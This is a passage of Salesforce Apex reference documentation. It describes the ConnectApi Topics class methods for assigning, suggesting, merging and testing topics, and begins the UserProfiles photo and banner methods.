Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics.
Optionally, provides a list of suggested topics to assign to a record or feed item to improve future topic suggestions. Only users with
the “Assign Topics” permission can remove topics from records or feed items and add existing topics to records or feed items. Only
users with the “Create Topics” permission can add new topics to records or feed items. Administrators must enable topics for objects
before users can add topics to records of that object type.
unassignTopic(communityId, recordId, topicId)
Removes the specified topic from the specified record or feed item. Only users with the “Assign Topics” permission can remove
topics from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object
type.
updateTopic(communityId, topicId, topic)
Updates the description or name of the specified topic or merges up to five secondary topics with the specified primary topic.
assignTopic(communityId, recordId, topicId)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing topics
to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Topic assignTopic(String communityId, String recordId, String
topicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
topicId
Type: String
The ID for a topic.
Return Value
Type: ConnectApi.Topic
1390
Topics ClassReference
assignTopicByName(communityId, recordId, topicName)
Assigns the specified topic to the specified record or feed item. Only users with the “Assign Topics” permission can add existing topics
to records or feed items. Only users with the “Create Topics” permission can add new topics to records or feed items. Administrators
must enable topics for objects before users can add topics to records of that object type.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Topic assignTopicByName(String communityId, String recordId,
String topicName)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID of the record or feed item to which to assign the topic.
topicName
Type: String
The name of a new or existing topic.
Return Value
Type: ConnectApi.Topic
createTopic(communityId, name, description)
Creates a topic. Only users with the “Create Topics” permission can create a topic.
API Version
36.0
Requires Chatter
No
1391
Topics ClassReference
Signature
public static ConnectApi.Topic createTopic(String communityId, String name, String
description)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
name
Type: String
The name of the topic.
description
Type: String
The description of the topic.
Return Value
Type: ConnectApi.Topic
deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the “Delete Topics” or “Modify All Data” permission can delete topics.
API Version
29.0
Requires Chatter
No
Signature
public static Void deleteTopic(String communityId, String topicId)
Parameters
communityId
Type: String,
Use either the ID for a community, internal, or null.
topicId
Type: String
The ID for a topic.
1392
Topics ClassReference
Return Value
Type: Void
Usage
Topic deletion is asynchronous. If a topic is requested before the deletion completes, the response is 200: Successful and the
isBeingDeleted property of ConnectApi.Topic is true in version 33.0 and later. If a topic is requested after the deletion
completes, the response is 404: NOT_FOUND.
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupSummaryPage
getGroupsRecentlyTalkingAboutTopic(String communityId, String topicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
The ID for a topic.
Return Value
Type: ConnectApi.ChatterGroupSummaryPage
1393
Topics ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
Testing ConnectApi Code
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForGroup(String
communityId, String groupId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
Return Value
Type: ConnectApi.TopicPage
1394
Topics ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)
Testing ConnectApi Code
getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForUser(String
communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.TopicPage
1395
Topics ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)
Testing ConnectApi Code
getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.
Two topics that are assigned to the same feed item at least three times are related.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getRelatedTopics(String communityId, String topicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
The ID for a topic.
Return Value
Type: ConnectApi.TopicPage
1396
Topics ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRelatedTopics(communityId, topicId, result)
Testing ConnectApi Code
getTopic(communityId, topicId)
Returns information about the specified topic.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.Topic getTopic(String communityId, String topicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
The ID for a topic.
Return Value
Type: ConnectApi.Topic
getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before users
can add topics to records of that object type.
1397
Topics ClassReference
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String recordId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId)
Returns the first page of topics for the organization.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId)
1398
Topics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, ConnectApi.TopicSort
sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
sortParam
Type: ConnectApi.TopicSort
Values are:
•popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
•alphaAsc—Sorts topics alphabetically.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, pageParam, pageSize)
Returns the topics for the specified page.
1399
Topics ClassReference
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam,
Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, pageParam, pageSize, sortParam)
Returns the topics for the specified page in the specified order.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
1400
Topics ClassReference
Signature
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam,
Integer pageSize, ConnectApi.TopicSort sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.TopicSort
Values are:
•popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
•alphaAsc—Sorts topics alphabetically.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q,
ConnectApi.TopicSort sortParam)
1401
Topics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
sortParam
Type: ConnectApi.TopicSort
Values are:
•popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
•alphaAsc—Sorts topics alphabetically.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, q, pageParam, pageSize)
Returns the topics that match the specified search criteria for the specified page.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
1402
Topics ClassReference
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, q, pageParam, pageSize, sortParam)
Returns the topics that match the specified search criteria for the specified page in the specified order.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
pageParam, Integer pageSize, ConnectApi.TopicSort sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1403
Topics ClassReference
sortParam
Type: ConnectApi.TopicSort
Values are:
•popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
•alphaAsc—Sorts topics alphabetically.
Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.
API Version
33.0
Available to Guest Users
33.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Boolean
exactMatch)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
exactMatch
Type: Boolean
Specify true to find a topic by its exact, case-insensitive name.
Return Value
Type: ConnectApi.TopicPage
1404
Topics ClassReference
getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch,
fallBackToRenamedTopics)
If there isn’t an exact match, returns the most recent renamed topic match.
API Version
35.0
Available to Guest Users
35.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopicsOrFallBackToRenamedTopics(String communityId,
String q, Boolean exactMatch, Boolean fallBackToRenamedTopics)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
exactMatch
Type: Boolean
Specify true to find a topic by its exact, case-insensitive name or to find the most recent renamed topic match if there isn’t an
exact match.
fallBackToRenamedTopics
Type: Boolean
Specify true and if there isn’t an exact match, the most recent renamed topic match is returned. If there are multiple renamed
topic matches, only the most recent is returned. If there are no renamed topic matches, an empty collection is returned.
Return Value
Type: ConnectApi.TopicPage
getTopicSuggestions(communityId, recordId, maxResults)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
1405
Topics ClassReference
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
Return Value
Type: ConnectApi.TopicSuggestionPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, maxResults, result)
Testing ConnectApi Code
getTopicSuggestions(communityId, recordId)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
API Version
29.0
1406
Topics ClassReference
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
Return Value
Type: ConnectApi.TopicSuggestionPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, result)
Testing ConnectApi Code
getTopicSuggestionsForText(communityId, text, maxResults)
Returns suggested topics for the specified string of text.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String
communityId, String text, Integer maxResults)
1407
Topics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
text
Type: String
String of text.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
Return Value
Type: ConnectApi.TopicSuggestionPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)
Testing ConnectApi Code
getTopicSuggestionsForText(communityId, text)
Returns suggested topics for the specified string of text.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String
communityId, String text)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1408
Topics ClassReference
text
Type: String
String of text.
Return Value
Type: ConnectApi.TopicSuggestionPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTopicSuggestionsForText(communityId, text, result)
Testing ConnectApi Code
getTrendingTopics(communityId)
List of the top five trending topics for the organization.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTrendingTopics(String communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.TopicPage
1409
Topics ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTrendingTopics(communityId, result)
Testing ConnectApi Code
getTrendingTopics(communityId, maxResults)
List of the top five trending topics for the organization.
API Version
29.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTrendingTopics(String communityId, Integer
maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
Return Value
Type: ConnectApi.TopicPage
1410
Topics ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTrendingTopics(communityId, maxResults, result)
Testing ConnectApi Code
mergeTopics(communityId, topicId, idsToMerge)
Merges up to five secondary topics with the specified primary topic.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.Topic mergeTopics(String communityId, String topicId,
List<String> idsToMerge)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
The ID for the primary topic for the merge. If this topic is a managed topic, it retains its topic type, topic images, and children topics.
idsToMerge
Type: List<String>
A list of up to five comma-separated secondary topic IDs to merge with the primary topic. If any of these secondary topics are
managed topics, they lose their topic type, topic images, and children topics. Their feed items are reassigned to the primary topic.
Return Value
Type: ConnectApi.Topic
Usage
Only users with the “Delete Topics” or “Modify All Data” permission can merge topics.
1411
Topics ClassReference
reassignTopicsByName(communityId, recordId, topicNames)
Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics.
Optionally, provides a list of suggested topics to assign to a record or feed item to improve future topic suggestions. Only users with the
“Assign Topics” permission can remove topics from records or feed items and add existing topics to records or feed items. Only users
with the “Create Topics” permission can add new topics to records or feed items. Administrators must enable topics for objects before
users can add topics to records of that object type.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage reassignTopicsByName(String communityId, String
recordId, ConnectApi.TopicNamesInput topicNames)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID of the record or feed item to which to assign the topic.
topicNames
Type: ConnectApi.TopicNamesInput
A list of topics to replace the currently assigned topics. Optionally, a list of suggested topics to assign to improve future topic
suggestions.
Return Value
Type: ConnectApi.TopicPage
unassignTopic(communityId, recordId, topicId)
Removes the specified topic from the specified record or feed item. Only users with the “Assign Topics” permission can remove topics
from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.
API Version
29.0
1412
Topics ClassReference
Requires Chatter
No
Signature
public static Void unassignTopic(String communityId, String recordId, String topicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
topicId
Type: String
The ID for a topic.
Return Value
Type: Void
updateTopic(communityId, topicId, topic)
Updates the description or name of the specified topic or merges up to five secondary topics with the specified primary topic.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Topic updateTopic(String communityId, String topicId,
ConnectApi.TopicInput topic)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
1413
Topics ClassReference
The ID for a topic.
topic
Type: ConnectApi.TopicInput
A ConnectApi.TopicInput object containing the name and description of the topic or up to five comma-separated secondary
topic IDs to merge with the primary topic.
Return Value
Type: ConnectApi.Topic
Usage
Only users with the “Edit Topics” or “Modify All Data” permission can update topic names and descriptions. Only users with the “Delete
Topics” or “Modify All Data” permission can merge topics.
Topics Test Methods
The following are the test methods for Topics. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
Registers a ConnectApi.ChatterGroupSummaryPage object to be returned when
ConnectApi.getGroupsRecentlyTalkingAboutTopic is called in a test context.
API Version
29.0
Signature
public static Void setTestGetGroupsRecentlyTalkingAboutTopic(String communityId, String
topicId, ConnectApi.ChatterGroupSummaryPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
The ID for a topic.
result
Type: ConnectApi.ChatterGroupSummaryPage
The object containing test data.
1414
Topics ClassReference
Return Value
Type: Void
SEE ALSO:
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Testing ConnectApi Code
setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)
Registers a ConnectApi.TopicPage object to be returned when the
ConnectApi.getRecentlyTalkingAboutTopicsForGroup method is called in a test context.
API Version
29.0
Signature
public static Void setTestGetRecentlyTalkingAboutTopicsForGroup(String communityId,
String groupId, ConnectApi.TopicPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
groupId
Type: String
The ID for a group.
result
Type: ConnectApi.TopicPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Testing ConnectApi Code
setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)
Creates a topics page to use for testing. After you create the page, use the matching
ConnectApi.getRecentlyTalkingAboutTopicsForUser method to access the test page and run your tests. Use the
method with the same parameters or you receive an exception.
1415
Topics ClassReference
API Version
29.0
Signature
public static Void setTestGetRecentlyTalkingAboutTopicsForUser(String communityId,
String userId, ConnectApi.TopicPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
result
Type: ConnectApi.TopicPage
Specify the test topics page.
Return Value
Type: Void
SEE ALSO:
getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Testing ConnectApi Code
setTestGetRelatedTopics(communityId, topicId, result)
Registers a ConnectApi.TopicPage object to be returned when the ConnectApi.getRelatedTopics method is called
in a test context.
API Version
29.0
Signature
public static Void setTestGetRelatedTopics(String communityId, String topicId,
ConnectApi.TopicPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1416
Topics ClassReference
topicId
Type: String
The ID for a topic.
result
Type: ConnectApi.TopicPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getRelatedTopics(communityId, topicId)
Testing ConnectApi Code
setTestGetTopicSuggestions(communityId, recordId, maxResults, result)
Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestions method is called in a test context. Use the method with the same parameters or you
receive an exception. Use the method with the same parameters or you receive an exception.
API Version
29.0
Signature
public static Void setTestGetTopicSuggestions(String communityId, String recordId,
Integer maxResults, ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
result
Type: ConnectApi.TopicSuggestionPage
Specify the test topic suggestions page.
1417
Topics ClassReference
Return Value
Type: Void
SEE ALSO:
getTopicSuggestions(communityId, recordId, maxResults)
Testing ConnectApi Code
setTestGetTopicSuggestions(communityId, recordId, result)
Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestions method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
29.0
Signature
public static Void setTestGetTopicSuggestions(String communityId, String recordId,
ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
The ID for a record or feed item.
result
Type: ConnectApi.TopicSuggestionPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getTopicSuggestions(communityId, recordId)
Testing ConnectApi Code
1418
Topics ClassReference
setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)
Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
29.0
Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
Integer maxResults, ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
text
Type: String
String of text.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
result
Type: ConnectApi.TopicSuggestionPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getTopicSuggestionsForText(communityId, text, maxResults)
Testing ConnectApi Code
setTestGetTopicSuggestionsForText(communityId, text, result)
Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters
or you receive an exception.
1419
Topics ClassReference
API Version
29.0
Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
ConnectApi.TopicSuggestionPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
text
Type: String
String of text.
result
Type: ConnectApi.TopicSuggestionPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getTopicSuggestionsForText(communityId, text)
Testing ConnectApi Code
setTestGetTrendingTopics(communityId, result)
Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics
method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
29.0
Signature
public static Void setTestGetTrendingTopics(String communityId, ConnectApi.TopicPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1420
Topics ClassReference
result
Type: ConnectApi.TopicPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getTrendingTopics(communityId)
Testing ConnectApi Code
setTestGetTrendingTopics(communityId, maxResults, result)
Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics
method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
29.0
Signature
public static Void setTestGetTrendingTopics(String communityId, Integer maxResults,
ConnectApi.TopicPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
result
Type: ConnectApi.TopicPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getTrendingTopics(communityId, maxResults)
Testing ConnectApi Code
1421
Topics ClassReference
UserProfiles Class
Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes user
information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps, which are
custom tabs on the profile page.
Namespace
ConnectApi
UserProfiles Methods
The following are methods for UserProfiles. All methods are static.
IN THIS SECTION:
deleteBannerPhoto(communityId, userId)
Delete a user banner photo.
deletePhoto(communityId, userId)
Deletes the specified user’s photo.
getBannerPhoto(communityId, userId)
Get a user banner photo.
getPhoto(communityId, userId)
Returns information about the specified user’s photo.
getUserProfile(communityId, userId)
Returns the user profile of the context user.
setBannerPhoto(communityId, userId, fileId, versionNumber)
Set the user banner photo to an already uploaded file.
setBannerPhoto(communityId, userId, fileUpload)
Set the user banner photo to a file that hasn’t been uploaded.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)
Set and crop an already uploaded file as the user banner photo.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)
Set the user banner photo to a file that hasn’t been uploaded and requires cropping.
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
1422
UserProfiles ClassReference
deleteBannerPhoto(communityId, userId)
Delete a user banner photo.
API Version
36.0
Requires Chatter
No
Signature
public static Void deleteBannerPhoto(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
Return Value
Type: Void
deletePhoto(communityId, userId)
Deletes the specified user’s photo.
API Version
35.0
Requires Chatter
No
Signature
public static Void deletePhoto(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1423
UserProfiles ClassReference
userId
Type: String
The ID for the context user or the keyword me.
Return Value
Type: Void
getBannerPhoto(communityId, userId)
Get a user banner photo.
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
Return Value
Type: ConnectApi.BannerPhoto
getPhoto(communityId, userId)
Returns information about the specified user’s photo.
API Version
35.0
Available to Guest Users
35.0
1424
UserProfiles ClassReference
Requires Chatter
No
Signature
public static ConnectApi.Photo getPhoto(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
Return Value
Type: ConnectApi.Photo
SEE ALSO:
Methods Available to Communities Guest Users
getUserProfile(communityId, userId)
Returns the user profile of the context user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.UserProfile getUserProfile(String communityId, String userId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for a user.
1425
UserProfiles ClassReference
Return Value
Type: ConnectApi.UserProfile
setBannerPhoto(communityId, userId, fileId, versionNumber)
Set the user banner photo to an already uploaded file.
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String userId,
String fileId, Integer versionNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
fileId
Type: String
ID of the already uploaded file to use as the user banner. The key prefix must be 069, and the image must be smaller than 8 MB.
versionNumber
Type: Integer
Version number of the file. Specify an existing version number or, to get the latest version, specify null.
Return Value
Type: ConnectApi.BannerPhoto
Usage
Photos are processed asynchronously and may not be visible right away.
setBannerPhoto(communityId, userId, fileUpload)
Set the user banner photo to a file that hasn’t been uploaded.
1426
UserProfiles ClassReference
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String userId,
ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.BannerPhoto
Usage
Photos are processed asynchronously and may not be visible right away.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto)
Set and crop an already uploaded file as the user banner photo.
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String userId, ConnectApi.BannerPhotoInput bannerPhoto)
1427
UserProfiles ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
bannerPhoto
Type: ConnectApi.BannerPhotoInput
A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.
Return Value
Type: ConnectApi.BannerPhoto
Usage
Photos are processed asynchronously and may not be visible right away.
setBannerPhotoWithAttributes(communityId, userId, bannerPhoto, fileUpload)
Set the user banner photo to a file that hasn’t been uploaded and requires cropping.
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String userId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput
fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
ID of the user.
bannerPhoto
